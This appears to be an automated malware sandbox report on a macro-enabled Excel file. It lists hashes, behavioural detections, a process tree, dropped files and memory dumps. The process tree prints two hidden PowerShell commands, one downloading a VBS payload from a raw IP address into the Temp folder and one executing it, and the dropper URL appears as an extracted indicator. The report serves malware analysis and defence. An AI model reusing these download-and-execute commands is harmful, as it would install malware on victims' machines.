Resubmissions

15/09/2026, 11:29

260915-nlkgaatzg1

07/08/2026, 14:21

260807-rn2ecsfm2v10

07/08/2026, 14:20

260807-rnv8cazwds

06/08/2026, 22:19

260806-18tppa1gqf10

06/08/2026, 22:01

260806-1w8m3svsfz10

06/08/2026, 03:44

260806-ear8baff4610

10/07/2026, 00:11

260710-agy7zsct5t10

Analysis

  • max time kernel
    300s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/08/2026, 14:21

General

  • Target
    484c0b7849b80fcf9ef6c8bfd5435671858eae263db624132e5f89e16a225e78.xlsm
  • Size 411KB
  • Sample260807-rn2ecsfm2v
  • SHA256 484c0b7849b80fcf9ef6c8bfd5435671858eae263db624132e5f89e16a225e78
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://185.242.105.116/utnl/e-remit.vbs

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\484c0b7849b80fcf9ef6c8bfd5435671858eae263db624132e5f89e16a225e78.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://185.242.105.116/utnl/e-remit.vbs',$env:Temp+'\outlook.vbs')
      2⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2500
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -executionpolicy bypass -W Hidden -command (New-Object -com Shell.Application).ShellExecute($env:Temp+'\outlook.vbs')
      2⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2712

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 52ca66b77e308a2e33045f90c119213bdb0330f77a9810b7528340da13f8d565
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_s0undw4y.mp3.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s0undw4y.mp3.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        590aee7bdd69b59b.customDestinations-ms

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        • Size 6KB
        • SHA256 3e1df6434b742c6ab733b0362eb3ac926080aa21e7313efb1b10f929fb5755c2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        590aee7bdd69b59b.customDestinations-ms

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        • Size 6KB
        • SHA256 99ef0b67515fcd86f3c9e046a657f73b690052df392c2d62c02edf858f016534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        b8ab77100df80ab2.customDestinations-ms

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
        • Size 3KB
        • SHA256 564e61a2d7eba94c1986e7bc8970c77f33c4d95d9907d2b913592b57dcd8f114
        • MD5 SHA1 SHA512 TLSH

        memory/2500-42-0x000002072EE50000-0x000002072EE72000-memory.dmp

        memory/4776-10-0x00007FFA39E40000-0x00007FFA39E50000-memory.dmp

        memory/4776-6-0x00007FFA7BF30000-0x00007FFA7C125000-memory.dmp

        memory/4776-9-0x00007FFA7BF30000-0x00007FFA7C125000-memory.dmp

        memory/4776-0-0x00007FFA3BFB0000-0x00007FFA3BFC0000-memory.dmp

        memory/4776-11-0x00007FFA39E40000-0x00007FFA39E50000-memory.dmp

        memory/4776-30-0x00007FFA7BF30000-0x00007FFA7C125000-memory.dmp

        memory/4776-8-0x00007FFA7BF30000-0x00007FFA7C125000-memory.dmp

        memory/4776-7-0x00007FFA3BFB0000-0x00007FFA3BFC0000-memory.dmp

        memory/4776-48-0x00007FFA7BF30000-0x00007FFA7C125000-memory.dmp

        memory/4776-5-0x00007FFA7BF30000-0x00007FFA7C125000-memory.dmp

        memory/4776-2-0x00007FFA3BFB0000-0x00007FFA3BFC0000-memory.dmp

        memory/4776-4-0x00007FFA3BFB0000-0x00007FFA3BFC0000-memory.dmp

        memory/4776-1-0x00007FFA3BFB0000-0x00007FFA3BFC0000-memory.dmp

        memory/4776-64-0x00007FFA7BF30000-0x00007FFA7C125000-memory.dmp

        memory/4776-3-0x00007FFA7BFCD000-0x00007FFA7BFCE000-memory.dmp